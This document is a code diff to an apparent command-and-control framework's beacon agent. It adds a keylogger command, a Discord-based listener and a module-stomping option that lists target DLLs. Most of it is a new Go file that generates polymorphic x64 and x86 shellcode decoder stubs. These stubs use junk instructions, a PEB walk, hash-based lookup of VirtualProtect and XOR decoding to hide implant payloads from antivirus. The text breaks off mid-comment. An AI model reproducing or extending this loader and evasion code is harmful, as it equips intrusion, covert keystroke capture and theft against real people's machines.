diff --git a/AdaptixServer/extenders/beacon_agent/Makefile b/AdaptixServer/extenders/beacon_agent/Makefile index 5fab655b4..33599f67d 100644 --- a/AdaptixServer/extenders/beacon_agent/Makefile +++ b/AdaptixServer/extenders/beacon_agent/Makefile @@ -2,7 +2,7 @@ all: clean @ echo " * Building agent_beacon plugin" @ mkdir dist @ cp config.yaml ax_config.axs ./dist/ - @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go pl_hashes.go pl_encoder.go @ echo " done..." @ echo " * Building agent" @@ -11,6 +11,9 @@ all: clean @ mv src_beacon/objects_smb ./dist/objects_smb @ mv src_beacon/objects_tcp ./dist/objects_tcp @ mv src_beacon/objects_dns ./dist/objects_dns + @ mv src_beacon/objects_discord ./dist/objects_discord + @ cp -r src_beacon/beacon ./dist/beacon + @ cp -r src_beacon/files ./dist/files @ echo " done..." clean: diff --git a/AdaptixServer/extenders/beacon_agent/ax_config.axs b/AdaptixServer/extenders/beacon_agent/ax_config.axs index cb1f3fc7e..953ef5150 100644 --- a/AdaptixServer/extenders/beacon_agent/ax_config.axs +++ b/AdaptixServer/extenders/beacon_agent/ax_config.axs @@ -268,6 +268,8 @@ function RegisterCommands(listenerType) ax.execute_alias(id, cmdline, new_cmd); }); + let cmd_keylog = ax.create_command("keylog", "Start keyboard logger (stop with 'jobs kill')", "keylog", "Task: start keylogger"); + let cmd_interact = ax.create_command("interact", "Set 'sleep 0'", "interact"); cmd_interact.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { ax.execute_alias(id, cmdline, "sleep 0"); @@ -275,20 +277,20 @@ function RegisterCommands(listenerType) if(listenerType == "BeaconDNS") { let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, - cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, + cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] ); return { commands_windows: commands_dns } } - else if(listenerType == "BeaconHTTP") { + else if(listenerType == "BeaconHTTP" || listenerType == "BeaconDiscord") { let commands_http = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, - cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, + cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] ); return { commands_windows: commands_http } } else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") { let commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, - cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, + cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] ); return { commands_windows: commands_internal } @@ -316,7 +318,7 @@ function GenerateUI(listeners_type) spinJitter.setRange(0, 100); spinJitter.setValue(0); - if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) { + if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") && !listeners_type.includes("BeaconDiscord") ) { labelSleep.setVisible(false); textSleep.setVisible(false); spinJitter.setVisible(false); @@ -345,6 +347,28 @@ function GenerateUI(listeners_type) // checkIatHiding.setVisible(false); // } + let checkModuleStomp = form.create_check("Module Stomping (Shellcode x64 only)"); + checkModuleStomp.setChecked(true); + let labelStompPaths = form.create_label("Stomp DLLs:"); + let textStompPaths = form.create_textmulti( + "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll\n" + + "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.ni.dll\n" + + "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll\n" + + "C:\\Program Files\\Google\\Chrome\\Application\\chrome_elf.dll\n" + + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome_elf.dll\n" + + "C:\\Program Files\\Mozilla Firefox\\nss3.dll\n" + + "C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll\n" + + "C:\\Program Files\\7-Zip\\7z.dll\n" + + "C:\\Program Files\\Git\\mingw64\\bin\\libcurl-4.dll\n" + + "C:\\Program Files\\VideoLAN\\VLC\\libvlc.dll\n" + + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_elf.dll\n" + + "mshtml.dll\n" + + "shell32.dll\n" + + "dbghelp.dll\n" + + "mfc140u.dll\n" + + "vcruntime140.dll" + ); + //////////////////// DNS Settings let labelDnsMode = form.create_label("DNS Mode:"); @@ -484,9 +508,12 @@ function GenerateUI(listeners_type) layout.addWidget(labelRotation, 8, 0, 1, 1); layout.addWidget(comboRotation, 8, 1, 1, 2); layout.addWidget(checkIatHiding, 9, 0, 1, 3); - layout.addWidget(group_proxy, 10, 0, 1, 3); - layout.addWidget(group_dns, 12, 0, 1, 3); - layout.addWidget(spacer2, 12, 0, 1, 3); + layout.addWidget(checkModuleStomp, 10, 0, 1, 3); + layout.addWidget(labelStompPaths, 11, 0, 1, 1); + layout.addWidget(textStompPaths, 11, 1, 1, 2); + layout.addWidget(group_proxy, 12, 0, 1, 3); + layout.addWidget(group_dns, 14, 0, 1, 3); + layout.addWidget(spacer2, 15, 0, 1, 3); form.connect(comboAgentFormat, "currentTextChanged", function(text) { if(text == "Service Exe") { @@ -524,6 +551,8 @@ function GenerateUI(listeners_type) container.put("is_sideloading", checkSideloading) container.put("sideloading_content", sideloadingSelector) container.put("iat_hiding", checkIatHiding) + container.put("module_stomp", checkModuleStomp) + container.put("stomp_paths", textStompPaths) container.put("use_proxy", group_proxy) container.put("proxy_type", comboProxyType) container.put("proxy_host", textProxyServer) @@ -538,7 +567,7 @@ function GenerateUI(listeners_type) return { ui_panel: panel, ui_container: container, - ui_height: 480, + ui_height: 620, ui_width: 500 } } \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/config.yaml b/AdaptixServer/extenders/beacon_agent/config.yaml index 9698c5847..feb472a3f 100644 --- a/AdaptixServer/extenders/beacon_agent/config.yaml +++ b/AdaptixServer/extenders/beacon_agent/config.yaml @@ -9,4 +9,5 @@ listeners: - "BeaconTCP" - "BeaconSMB" - "BeaconDNS" + - "BeaconDiscord" multi_listeners: false diff --git a/AdaptixServer/extenders/beacon_agent/go.sum b/AdaptixServer/extenders/beacon_agent/go.sum index 77f53e819..8889bb84d 100644 --- a/AdaptixServer/extenders/beacon_agent/go.sum +++ b/AdaptixServer/extenders/beacon_agent/go.sum @@ -1 +1,2 @@ github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/beacon_agent/pl_encoder.go b/AdaptixServer/extenders/beacon_agent/pl_encoder.go new file mode 100644 index 000000000..2b82a5db2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_encoder.go @@ -0,0 +1,735 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "math/big" +) + +// djb2HashWithSeed computes the DJB2 hash of a string with a custom seed. +// Used to pre-compute the VirtualProtect hash for each stub. +func djb2HashWithSeed(s string, seed uint32) uint32 { + h := seed + for i := 0; i < len(s); i++ { + h = h*33 + uint32(s[i]) + } + return h +} + +// cryptoRandIntn returns a random int in [0, n). +func cryptoRandIntn(n int) int { + if n <= 0 { + return 0 + } + val, _ := rand.Int(rand.Reader, big.NewInt(int64(n))) + return int(val.Int64()) +} + +// emitJunkX64 produces minLen..maxLen bytes of junk instructions (x64-safe). +// Each instruction is emitted atomically — no truncation mid-instruction. +func emitJunkX64(minLen, maxLen int) []byte { + if maxLen < 1 { + return nil + } + if minLen < 0 { + minLen = 0 + } + // Target between minLen and maxLen + target := minLen + if maxLen > minLen { + target = minLen + cryptoRandIntn(maxLen-minLen+1) + } + + // x64-safe junk instructions (complete, never truncated) + type junkInstr struct { + bytes []byte + } + pool := []junkInstr{ + {[]byte{0x90}}, // nop (1B) + {[]byte{0x66, 0x90}}, // 2-byte nop + {[]byte{0x0F, 0x1F, 0x00}}, // 3-byte nop + {[]byte{0x0F, 0x1F, 0x40, 0x00}}, // 4-byte nop + {[]byte{0x53, 0x5B}}, // push rbx; pop rbx (2B) + {[]byte{0x51, 0x59}}, // push rcx; pop rcx (2B) + {[]byte{0x52, 0x5A}}, // push rdx; pop rdx (2B) + {[]byte{0x50, 0x58}}, // push rax; pop rax (2B) + } + + var junk []byte + for len(junk) < target { + remaining := target - len(junk) + // Pick a random instruction that fits + var candidates []int + for i, instr := range pool { + if len(instr.bytes) <= remaining { + candidates = append(candidates, i) + } + } + if len(candidates) == 0 { + break // Can't fit any more instructions + } + chosen := pool[candidates[cryptoRandIntn(len(candidates))]] + junk = append(junk, chosen.bytes...) + } + return junk +} + +// emitJunkX86 produces minLen..maxLen bytes of junk instructions (x86-safe). +func emitJunkX86(minLen, maxLen int) []byte { + if maxLen < 1 { + return nil + } + if minLen < 0 { + minLen = 0 + } + target := minLen + if maxLen > minLen { + target = minLen + cryptoRandIntn(maxLen-minLen+1) + } + + type junkInstr struct { + bytes []byte + } + pool := []junkInstr{ + {[]byte{0x90}}, // nop (1B) + {[]byte{0x0F, 0x1F, 0x00}}, // 3-byte nop + {[]byte{0x0F, 0x1F, 0x40, 0x00}}, // 4-byte nop + {[]byte{0x53, 0x5B}}, // push ebx; pop ebx (2B) + {[]byte{0x51, 0x59}}, // push ecx; pop ecx (2B) + {[]byte{0x52, 0x5A}}, // push edx; pop edx (2B) + {[]byte{0x50, 0x58}}, // push eax; pop eax (2B) + {[]byte{0x87, 0xDB}}, // xchg ebx, ebx (2B) + } + + var junk []byte + for len(junk) < target { + remaining := target - len(junk) + var candidates []int + for i, instr := range pool { + if len(instr.bytes) <= remaining { + candidates = append(candidates, i) + } + } + if len(candidates) == 0 { + break + } + chosen := pool[candidates[cryptoRandIntn(len(candidates))]] + junk = append(junk, chosen.bytes...) + } + return junk +} + +// put32LE writes a uint32 as little-endian into dst at offset off. +func put32LE(dst []byte, off int, val uint32) { + binary.LittleEndian.PutUint32(dst[off:off+4], val) +} + +// patchDisp32 writes a signed 32-bit displacement at offset off in dst. +func patchDisp32(dst []byte, off int, disp int) { + put32LE(dst, off, uint32(int32(disp))) +} + +// generateStubX64 builds a polymorphic x64 XOR decoder stub. +// Returns (stub, keyOffset, sizeOffset). +func generateStubX64() ([]byte, int, int) { + // Pick random DJB2 seed and pre-compute VirtualProtect hash + seedVal := uint32(cryptoRandIntn(0xFFFFFFFE)) + 1 // 1..0xFFFFFFFF + vpHash := djb2HashWithSeed("VirtualProtect", seedVal) + + var code []byte + emit := func(b ...byte) { code = append(code, b...) } + emitBytes := func(b []byte) { code = append(code, b...) } + + // ===== Block 1: Prologue ===== + // 6 pushes = 48 bytes on stack. With 16-aligned RSP at entry (injection), + // RSP after 6 pushes = -48 = 0 mod 16. sub rsp,0x28 (40) → -88 = 8 mod 16. + // call will push 8 more → 0 mod 16 inside callee. Correct for Win64 ABI. + // push rbx; push rsi; push rdi; push rbp; push r12; push r13 + emit(0x53, 0x56, 0x57, 0x55, 0x41, 0x54, 0x41, 0x55) + + emitBytes(emitJunkX64(2, 6)) + + // ===== Block 2: PEB walk → kernel32 base into r12 ===== + // mov rax, gs:[0x60] — TEB → PEB + emit(0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00) + // mov rax, [rax+0x18] — PEB.Ldr + emit(0x48, 0x8B, 0x40, 0x18) + // mov rax, [rax+0x20] — InMemoryOrderModuleList + emit(0x48, 0x8B, 0x40, 0x20) + // mov rax, [rax] — Flink (next entry) + emit(0x48, 0x8B, 0x00) + // mov rax, [rax] — Flink again (kernel32) + emit(0x48, 0x8B, 0x00) + // mov r12, [rax+0x20] — DLL base + emit(0x4C, 0x8B, 0x60, 0x20) + + emitBytes(emitJunkX64(2, 4)) + + // ===== Block 3: Parse export table, DJB2 hash → find VirtualProtect ===== + // movsxd rbx, dword [r12+0x3C] — e_lfanew + emit(0x49, 0x63, 0x5C, 0x24, 0x3C) + // add rbx, r12 + emit(0x4C, 0x01, 0xE3) + // mov eax, [rbx+0x88] — ExportDir RVA + emit(0x8B, 0x83, 0x88, 0x00, 0x00, 0x00) + // add rax, r12 + emit(0x4C, 0x01, 0xE0) + // mov ecx, [rax+0x18] — NumberOfNames + emit(0x8B, 0x48, 0x18) + // mov ebx, [rax+0x20] — AddressOfNames RVA + emit(0x8B, 0x58, 0x20) + // add rbx, r12 + emit(0x4C, 0x01, 0xE3) + // push rax (save ExportDir base) + emit(0x50) + // xor edi, edi + emit(0x31, 0xFF) + + // Hash loop start + hashLoopStart := len(code) + // mov esi, [rbx + rdi*4] + emit(0x8B, 0x34, 0xBB) + // add rsi, r12 + emit(0x4C, 0x01, 0xE6) + + // mov eax, — polymorphic seed + emit(0xB8) + seedBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(seedBytes, seedVal) + emitBytes(seedBytes) + + // DJB2 inner loop + djb2Start := len(code) + // movzx edx, byte [rsi] + emit(0x0F, 0xB6, 0x16) + // inc rsi + emit(0x48, 0xFF, 0xC6) + // test edx, edx + emit(0x85, 0xD2) + // jz hash_done (skip imul+add+jmp = 7 bytes) + emit(0x74, 0x07) + // imul eax, 0x21 + emit(0x6B, 0xC0, 0x21) + // add eax, edx + emit(0x01, 0xD0) + // jmp djb2Start + jmpBackDjb2 := len(code) + emit(0xEB, 0x00) // placeholder + code[jmpBackDjb2+1] = byte(djb2Start - (jmpBackDjb2 + 2)) + + // hash_done: + // cmp eax, + emit(0x3D) + vpHashBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(vpHashBytes, vpHash) + emitBytes(vpHashBytes) + + // je found (placeholder) + jeFoundOff := len(code) + emit(0x74, 0x00) // patched below + + // inc edi + emit(0xFF, 0xC7) + // cmp edi, ecx + emit(0x39, 0xCF) + // jb hashLoopStart + jbHashLoop := len(code) + emit(0x72, 0x00) // placeholder + code[jbHashLoop+1] = byte(hashLoopStart - (jbHashLoop + 2)) + + // not found: pop rax; jmp near epilogue (E9 rel32 — safe for any distance) + emit(0x58) // pop rax + jmpNotFoundOff := len(code) + emit(0xE9, 0x00, 0x00, 0x00, 0x00) // jmp near rel32 placeholder + + // found: patch je offset + foundOff := len(code) + code[jeFoundOff+1] = byte(foundOff - (jeFoundOff + 2)) + + // pop rax (restore ExportDir pointer) + emit(0x58) + + // Resolve function address from ordinals + addresses + // mov edx, [rax+0x24] — AddressOfOrdinals RVA + emit(0x8B, 0x50, 0x24) + // add rdx, r12 + emit(0x4C, 0x01, 0xE2) + // movzx edi, word [rdx + rdi*2] + emit(0x0F, 0xB7, 0x3C, 0x7A) + // mov edx, [rax+0x1C] — AddressOfFunctions RVA + emit(0x8B, 0x50, 0x1C) + // add rdx, r12 + emit(0x4C, 0x01, 0xE2) + // mov eax, [rdx + rdi*4] + emit(0x8B, 0x04, 0xBA) + // add rax, r12 + emit(0x4C, 0x01, 0xE0) + // mov r12, rax — VirtualProtect address in r12 + emit(0x49, 0x89, 0xC4) + + emitBytes(emitJunkX64(2, 4)) + + // ===== Block 4: Call VirtualProtect ===== + // sub rsp, 0x28 (shadow space 32 + 8 alignment) + // With 8 pushes (64 bytes), RSP is 16-aligned. sub 0x28 (40) → 8 mod 16. + // call pushes 8 → 0 mod 16 inside VirtualProtect. Correct. + emit(0x48, 0x83, 0xEC, 0x28) + + // lea rcx, [rip - X] — address of stub start (patched later) + vpCallRcxOff := len(code) + emit(0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00) // placeholder disp32 + + // lea rdx, [rip + Y] — address of size field (patched later) + vpCallRdxOff := len(code) + emit(0x48, 0x8D, 0x15, 0x00, 0x00, 0x00, 0x00) // placeholder disp32 + + // mov eax, [rip + Z] — load payload size (patched later) + vpCallSizeOff := len(code) + emit(0x8B, 0x05, 0x00, 0x00, 0x00, 0x00) // placeholder disp32 + + // lea rdx, [rdx + rax + 0x14] — end address = &sizeField + payloadSize + 20 (key+size) + emit(0x48, 0x8D, 0x54, 0x02, 0x14) + // sub rdx, rcx — dwSize = end - start + emit(0x48, 0x29, 0xCA) + + // Pick one of two PAGE_EXECUTE_READWRITE encodings + if cryptoRandIntn(2) == 0 { + // mov r8d, 0x40 + emit(0x41, 0xB8, 0x40, 0x00, 0x00, 0x00) + } else { + // xor r8d, r8d; add r8d, 0x40 + emit(0x45, 0x31, 0xC0, 0x41, 0x83, 0xC0, 0x40) + } + + // lea r9, [rsp+0x20] — lpflOldProtect (in shadow space) + emit(0x4C, 0x8D, 0x4C, 0x24, 0x20) + // call r12 (VirtualProtect) + emit(0x41, 0xFF, 0xD4) + // add rsp, 0x28 + emit(0x48, 0x83, 0xC4, 0x28) + + emitBytes(emitJunkX64(2, 4)) + + // ===== Block 5: XOR decode loop ===== + // lea rsi, [rip + key_offset] + xorLeaKeyOff := len(code) + emit(0x48, 0x8D, 0x35, 0x00, 0x00, 0x00, 0x00) // placeholder + + // lea rdi, [rip + data_offset] + xorLeaDataOff := len(code) + emit(0x48, 0x8D, 0x3D, 0x00, 0x00, 0x00, 0x00) // placeholder + + // mov ecx, [rip + size_offset] + xorMovSizeOff := len(code) + emit(0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00) // placeholder + + // XOR loop — pick one of 3 variants for zero-init + switch cryptoRandIntn(3) { + case 0: + emit(0x31, 0xD2) // xor edx, edx + case 1: + emit(0x29, 0xD2) // sub edx, edx + case 2: + emit(0x33, 0xD2) // xor edx, edx (alternate encoding) + } + + xorLoopStart := len(code) + // mov al, [rsi + rdx] + emit(0x8A, 0x04, 0x16) + // xor [rdi], al + emit(0x30, 0x07) + + // inc rdi — pick variant + switch cryptoRandIntn(3) { + case 0: + emit(0x48, 0xFF, 0xC7) // inc rdi + case 1: + emit(0x48, 0x83, 0xC7, 0x01) // add rdi, 1 + case 2: + emit(0x48, 0x8D, 0x7F, 0x01) // lea rdi, [rdi+1] + } + + // inc edx + emit(0xFF, 0xC2) + // and edx, 0x0F + emit(0x83, 0xE2, 0x0F) + + // dec ecx — pick variant + switch cryptoRandIntn(2) { + case 0: + emit(0xFF, 0xC9) // dec ecx + case 1: + emit(0x83, 0xE9, 0x01) // sub ecx, 1 + } + + // jnz xorLoopStart + jnzOff := len(code) + emit(0x75, 0x00) // placeholder + code[jnzOff+1] = byte(xorLoopStart - (jnzOff + 2)) + + // ===== Block 6: Epilogue ===== + epilogueOff := len(code) + // pop r13; pop r12; pop rbp; pop rdi; pop rsi; pop rbx (reverse order of prologue) + emit(0x41, 0x5D, 0x41, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B) + + // jmp to payload (will jump over key+size area) + jmpPayloadOff := len(code) + emit(0xEB, 0x00) // placeholder — patched after we know key+size layout + + // Patch jmpNotFound (E9 rel32) to jump to epilogue + patchDisp32(code, jmpNotFoundOff+1, epilogueOff-(jmpNotFoundOff+5)) + + // ===== Data area: [key 16B] [size 4B] ===== + keyOffset := len(code) + code = append(code, make([]byte, 16)...) // key placeholder + sizeOffset := len(code) + code = append(code, make([]byte, 4)...) // size placeholder + + // Patch jmp over data area + dataEnd := len(code) + code[jmpPayloadOff+1] = byte(dataEnd - (jmpPayloadOff + 2)) + + // ===== Patch RIP-relative offsets ===== + // VirtualProtect call patches: + // rcx = lea [rip + disp] pointing to start of stub (offset 0) + patchDisp32(code, vpCallRcxOff+3, -(vpCallRcxOff+7)) + + // rdx = lea [rip + disp] pointing to size field + patchDisp32(code, vpCallRdxOff+3, sizeOffset-(vpCallRdxOff+7)) + + // eax = mov [rip + disp] loading size value + patchDisp32(code, vpCallSizeOff+2, sizeOffset-(vpCallSizeOff+6)) + + // XOR loop lea key + patchDisp32(code, xorLeaKeyOff+3, keyOffset-(xorLeaKeyOff+7)) + + // XOR loop lea data (points to dataEnd = right after size field) + patchDisp32(code, xorLeaDataOff+3, dataEnd-(xorLeaDataOff+7)) + + // XOR loop mov size + patchDisp32(code, xorMovSizeOff+2, sizeOffset-(xorMovSizeOff+6)) + + return code, keyOffset, sizeOffset +} + +// generateStubX86 builds a polymorphic x86 XOR decoder stub. +// Returns (stub, keyOffset, sizeOffset). +func generateStubX86() ([]byte, int, int) { + seedVal := uint32(cryptoRandIntn(0xFFFFFFFE)) + 1 + vpHash := djb2HashWithSeed("VirtualProtect", seedVal) + + var code []byte + emit := func(b ...byte) { code = append(code, b...) } + emitBytes := func(b []byte) { code = append(code, b...) } + + // ===== Block 1: Prologue ===== + // pushad + emit(0x60) + // call $+5; pop ebp; sub ebp, 6 → get EIP into ebp (base of stub) + emit(0xE8, 0x00, 0x00, 0x00, 0x00) + emit(0x5D) + emit(0x83, 0xED, 0x06) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 2: PEB walk → kernel32 base into ebx ===== + // mov eax, fs:[0x30] + emit(0x64, 0xA1, 0x30, 0x00, 0x00, 0x00) + // mov eax, [eax+0x0C] + emit(0x8B, 0x40, 0x0C) + // mov eax, [eax+0x14] + emit(0x8B, 0x40, 0x14) + // mov eax, [eax] + emit(0x8B, 0x00) + // mov eax, [eax] + emit(0x8B, 0x00) + // mov ebx, [eax+0x10] + emit(0x8B, 0x58, 0x10) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 3: Export table + DJB2 hash → VirtualProtect ===== + // mov eax, [ebx+0x3C] + emit(0x8B, 0x43, 0x3C) + // add eax, ebx + emit(0x01, 0xD8) + // mov eax, [eax+0x78] + emit(0x8B, 0x40, 0x78) + // add eax, ebx + emit(0x01, 0xD8) + // mov ecx, [eax+0x18] + emit(0x8B, 0x48, 0x18) + // push eax + emit(0x50) + // mov edx, [eax+0x20] + emit(0x8B, 0x50, 0x20) + // add edx, ebx + emit(0x01, 0xDA) + // xor edi, edi + emit(0x31, 0xFF) + + // Hash loop + hashLoopStart := len(code) + // mov esi, [edx+edi*4] + emit(0x8B, 0x34, 0xBA) + // add esi, ebx + emit(0x01, 0xDE) + // mov eax, + emit(0xB8) + seedBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(seedBytes, seedVal) + emitBytes(seedBytes) + + // DJB2 inner loop + djb2Start := len(code) + // movzx ecx, byte [esi] + emit(0x0F, 0xB6, 0x0E) + // inc esi + emit(0x46) + // test ecx, ecx + emit(0x85, 0xC9) + // jz hash_done + emit(0x74, 0x07) + // imul eax, 0x21 + emit(0x6B, 0xC0, 0x21) + // add eax, ecx + emit(0x01, 0xC8) + // jmp djb2Start + jmpDjb2 := len(code) + emit(0xEB, 0x00) + code[jmpDjb2+1] = byte(djb2Start - (jmpDjb2 + 2)) + + // hash_done: restore ecx and check + // pop ecx; push ecx — restore ExportDir pointer for ecx + emit(0x59, 0x51) + // mov ecx, [ecx+0x18] — NumberOfNames + emit(0x8B, 0x49, 0x18) + + // cmp eax, + emit(0x3D) + vpHashBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(vpHashBytes, vpHash) + emitBytes(vpHashBytes) + + // je found + jeFoundOff := len(code) + emit(0x74, 0x00) + + // inc edi + emit(0x47) + // cmp edi, ecx + emit(0x39, 0xCF) + // jb hashLoopStart + jbHashLoop := len(code) + emit(0x72, 0x00) + code[jbHashLoop+1] = byte(hashLoopStart - (jbHashLoop + 2)) + + // not found: pop eax; jmp near epilogue (E9 rel32) + emit(0x58) + jmpNotFoundOff := len(code) + emit(0xE9, 0x00, 0x00, 0x00, 0x00) // jmp near rel32 placeholder + + // found: + foundOff := len(code) + code[jeFoundOff+1] = byte(foundOff - (jeFoundOff + 2)) + // pop eax (ExportDir) + emit(0x58) + + // Resolve VirtualProtect address + // mov edx, [eax+0x24] + emit(0x8B, 0x50, 0x24) + // add edx, ebx + emit(0x01, 0xDA) + // movzx edi, word [edx+edi*2] + emit(0x0F, 0xB7, 0x3C, 0x7A) + // mov edx, [eax+0x1C] + emit(0x8B, 0x50, 0x1C) + // add edx, ebx + emit(0x01, 0xDA) + // mov eax, [edx+edi*4] + emit(0x8B, 0x04, 0xBA) + // add eax, ebx — VirtualProtect in eax + emit(0x01, 0xD8) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 4: Call VirtualProtect ===== + // sub esp, 4 (old protect) + emit(0x83, 0xEC, 0x04) + // mov edi, esp + emit(0x89, 0xE7) + // push edi (lpflOldProtect) + emit(0x57) + + // push PAGE_EXECUTE_READWRITE + emit(0x6A, 0x40) // push 0x40 + + // lea ecx, [ebp + keyOffset] — patched later + vpLeaKeyOff := len(code) + emit(0x8D, 0x8D, 0x00, 0x00, 0x00, 0x00) // placeholder dword + + // mov edx, [ebp + sizeOffset] — patched later + vpMovSizeOff := len(code) + emit(0x8B, 0x95, 0x00, 0x00, 0x00, 0x00) // placeholder dword + + // lea edx, [edx + ecx + 0x14] + emit(0x8D, 0x54, 0x11, 0x14) + // sub edx, ebp — size + emit(0x29, 0xEA) + // push edx (dwSize) + emit(0x52) + // push ebp (lpAddress) + emit(0x55) + // call eax (VirtualProtect) + emit(0xFF, 0xD0) + // add esp, 4 + emit(0x83, 0xC4, 0x04) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 5: XOR decode loop ===== + // lea esi, [ebp + keyOffset] + xorLeaKeyOff := len(code) + emit(0x8D, 0xB5, 0x00, 0x00, 0x00, 0x00) // placeholder + + // lea edi, [ebp + dataOffset] + xorLeaDataOff := len(code) + emit(0x8D, 0xBD, 0x00, 0x00, 0x00, 0x00) // placeholder + + // mov ecx, [ebp + sizeOffset] + xorMovSizeOff := len(code) + emit(0x8B, 0x8D, 0x00, 0x00, 0x00, 0x00) // placeholder + + // Zero init + switch cryptoRandIntn(3) { + case 0: + emit(0x31, 0xD2) // xor edx, edx + case 1: + emit(0x29, 0xD2) // sub edx, edx + case 2: + emit(0x33, 0xD2) // xor edx, edx alt + } + + xorLoopStart := len(code) + // mov al, [esi+edx] + emit(0x8A, 0x04, 0x16) + // xor [edi], al + emit(0x30, 0x07) + // inc edi + emit(0x47) + // inc edx + emit(0x42) + // and edx, 0x0F + emit(0x83, 0xE2, 0x0F) + // dec ecx + switch cryptoRandIntn(2) { + case 0: + emit(0x49) // dec ecx + case 1: + emit(0x83, 0xE9, 0x01) // sub ecx, 1 + } + // jnz loop + jnzOff := len(code) + emit(0x75, 0x00) + code[jnzOff+1] = byte(xorLoopStart - (jnzOff + 2)) + + // ===== Block 6: Epilogue ===== + epilogueOff := len(code) + // popad + emit(0x61) + // call $+5; pop eax; add eax, ; jmp eax + emit(0xE8, 0x00, 0x00, 0x00, 0x00) + emit(0x58) + + // Patch jmpNotFound (E9 rel32) to jump to epilogue + patchDisp32(code, jmpNotFoundOff+1, epilogueOff-(jmpNotFoundOff+5)) + + // add eax, — patched after data area + addEaxOff := len(code) + emit(0x83, 0xC0, 0x00) // placeholder: add eax, imm8 + + // jmp eax + emit(0xFF, 0xE0) + + // ===== Data area ===== + keyOffset := len(code) + code = append(code, make([]byte, 16)...) + sizeOffset := len(code) + code = append(code, make([]byte, 4)...) + dataEnd := len(code) + + // Patch add eax: call pushes return address = address of pop eax. + // pop eax → eax = address of addEaxOff - 1 (the pop itself) + // Actually: call at (epilogueOff+1) pushes return address of next instr = (epilogueOff+6). + // pop eax → eax = (epilogueOff + 6). But in runtime, that's a memory address. + // We want eax to point to dataEnd in memory. + // addEaxOff is where "add eax, imm8" starts. Pop eax is at addEaxOff-1. + // call pushes the address of addEaxOff-1 (the instruction after call). + // Wait — call pushes return address = address of next instruction = addEaxOff - 1. + // Actually, pop eax is at the address right after call $+5. call is at epilogueOff+1. + // call pushes eip = epilogueOff + 1 + 5 = epilogueOff + 6. pop eax gets that address. + // In terms of offsets from stub start: eax = epilogueOff + 6. + // But pop is AT offset epilogueOff + 6 - wait: + // epilogue: 61(popad) E8 00 00 00 00(call) 58(pop eax) + // call is at epilogueOff+1, it pushes return address = epilogueOff+6 + // pop eax is at epilogueOff+6, eax = epilogueOff+6 (the runtime address of pop itself) + // add eax, X → eax = (runtime addr of pop) + X + // We want eax = runtime addr of dataEnd = runtime addr of (pop) + (dataEnd - (epilogueOff+6)) + 